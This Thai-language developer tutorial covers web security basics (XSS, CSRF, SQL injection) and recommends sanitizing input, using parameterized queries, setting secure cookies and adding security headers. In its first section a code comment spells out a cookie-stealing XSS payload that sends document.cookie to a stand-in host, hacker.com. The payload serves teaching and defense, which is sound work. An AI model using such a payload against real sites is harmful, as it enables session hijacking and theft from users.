Web Security Essentials: ป้อมปราการความปลอดภัยสไตล์ Senior

🛑 1. The Problem First: "ความชะล่าใจคือช่องโหว่ที่ใหญ่ที่สุด"

ลองนึกถึงวันที่คุณเร่งทำฟีเจอร์ "Comment System" ให้ลูกค้า โดยที่ไม่ได้กรองข้อมูลที่รับเข้ามา:

// ❌ Naive Approach: แสดงผลข้อมูลจาก User โดยตรงบนหน้าเว็บ
<div>{userComment}</div>
// 🌋 พัง! ถ้า Hacker พิมพ์ความเห็นว่า '<script>fetch("https://hacker.com?cookie=" + document.cookie)</script>'
// ทุกคนที่เข้ามาอ่านคอมเมนต์นี้จะถูก "ดูด" Cookie (รวมถึง Session ID) ไปให้แฮกเกอร์ทันที!

ปัญหา: การเชื่อใจใน "ข้อมูลจากโลกภายนอก" คือความล้มเหลวขั้นพื้นฐานที่สุด แม้แต่ Framework สมัยใหม่ก็ไม่ได้กันได้ทุุกกรณี ความปลอดภัยไม่ใช่แค่การลง Library แล้วจะจบ แต่มันคือการ "ระแวง" (Paranoia) ในทุุกจุดที่ข้อมูลไหลผ่านระบบของคุณครับ

💡 2. Real-Life Analogy: การป้องกันบ้านจากมิจฉาชีพ

• XSS (Cross-Site Scripting): เหมือน "การปล่อยให้คนแปลกหน้ามาติดป้ายโฆษณาในบ้านเรา". ถ้าเราไม่ตรวจตรวจป้ายนั้นดีๆ (Sanitize) เขาอาจจะแอบติดกล้องแอบถ่ายไว้เบื้องหลังก็ได้
• CSRF (Request Forgery): เหมือน "มิจฉาชีพจ้างเด็กส่งเอกสารมาตอกบัตรแทนเรา". มิจฉาชีพไม่ได้ทำเอง แต่หลอกใช้ "ตัวตนที่มีสิทธิ์" (User ที่ Login ค้างไว้) ให้ทำสิ่งที่เขาต้องการโดยที่เราไม่รู้ตัว
• SQL Injection: เหมือน "การกรอกเอกสารที่สอดแทรกคำสั่งลับ". แทนที่เขาจะกรอกชื่อลงในช่องว่าง เขาแอบเขียนคำสั่งว่า "และยกบ้านหลังนี้ให้ผม" แทรกเข้าไปในช่องนั้นด้วย

🚀 3. Execution Journey: มหากาพย์การสร้างด่านป้องกัน (The Shield)

Senior จะใช้หลักการ "Defense in Depth" หรือการป้องกันหลายชั้น

🛠 Step-by-step:

1. The Sanitizer: ล้างข้อมูลก่อนแสดงผลเสมอ (ใช้อาวุธอย่าง DOMPurify)
2. The Prepared Statement: ห้ามเอา String มาต่อ SQL เองเด็ดขาด! ให้ใช้ Library ที่จัดการเรื่อง SQL Escape ให้เสมอ
3. The Secure Cookie: ตั้งค่า Cookie เป็น HttpOnly และ SameSite=Strict เพื่อให้ JS เข้าไม่ถึงและป้องกันการถูกหลอกใช้งาน (XSS/CSRF)
4. The Header Guard: ใช้ Helmet.js หรือตั้งค่า Security Headers (CSP, HSTS) เพื่อให้ Browser ช่วยเรากันภัย

// ✅ Best Practice: การป้องกัน SQL Injection (แบบดั้งเดิม)
// ❌ const sql = "SELECT * FROM users WHERE id = " + userId; // ห้ามทำ!
// ✅ ใช้ Parameterized Query (ส่งค่าแยกจากคำสั่ง)
const user = await db.query("SELECT * FROM users WHERE id = $1", [userId]);

🪤 4. The Junior Trap: โรค "Dangerously Set"

จูเนียร์มักจะใช้ฟีเจอร์ "ทางลัด" เพื่อแสดงผล HTML ที่ติดมากับข้อมูล:

// ❌ Junior Trap: ใช้ dangerouslySetInnerHTML โดยไม่กรอง
<div dangerouslySetInnerHTML={{ __html: blogPostContent }} />
// 🌋 พัง! ชื่อก็บอกอยู่แล้วว่า "Dangerously" (อันตราย)
# ถ้าข้อมูลนี้ไม่ได้ถูกล้าง (Sanitize) มาก่อนหน้า เว็บของคุณคือสนามเด็กเล่นของแฮกเกอร์ทันที

ระวัง: ช่องโหว่ความปลอดภัยมักจะซ่อนอยู่ใน "ความสะดวกสบาย" ✅ การแก้ไข: จงใช้ DOMPurify ล้างข้อมูลทุุกครั้งก่อนจะแสดงผล HTML ที่มาจากคนอื่นครับ

⚖️ 5. The Why Matrix: ทำเอง vs ใช้ Library vs ใช้ Security Headers

🎓 6. Senior Mindset Summary

การเป็น Senior คือการมองว่า "ความปลอดภัยไม่ได้ถูกวัดด้วยจำนวน Tool ที่เราใช้ แต่ถูกวัดด้วยจำนวน 'สมมติฐาน' ที่เราอุดตายได้สำเร็จ". อย่าถามว่าระบบปลอดภัยไหม แต่จงถามว่า "ถ้ามีคนป้อนข้อมูลห่วยๆ เข้ามา ระบบเราจะรับมือยังไง?" นั่นคือเสน่ห์ของการเป็นวิศวกรซอฟต์แวร์ที่รอบคอบครับ!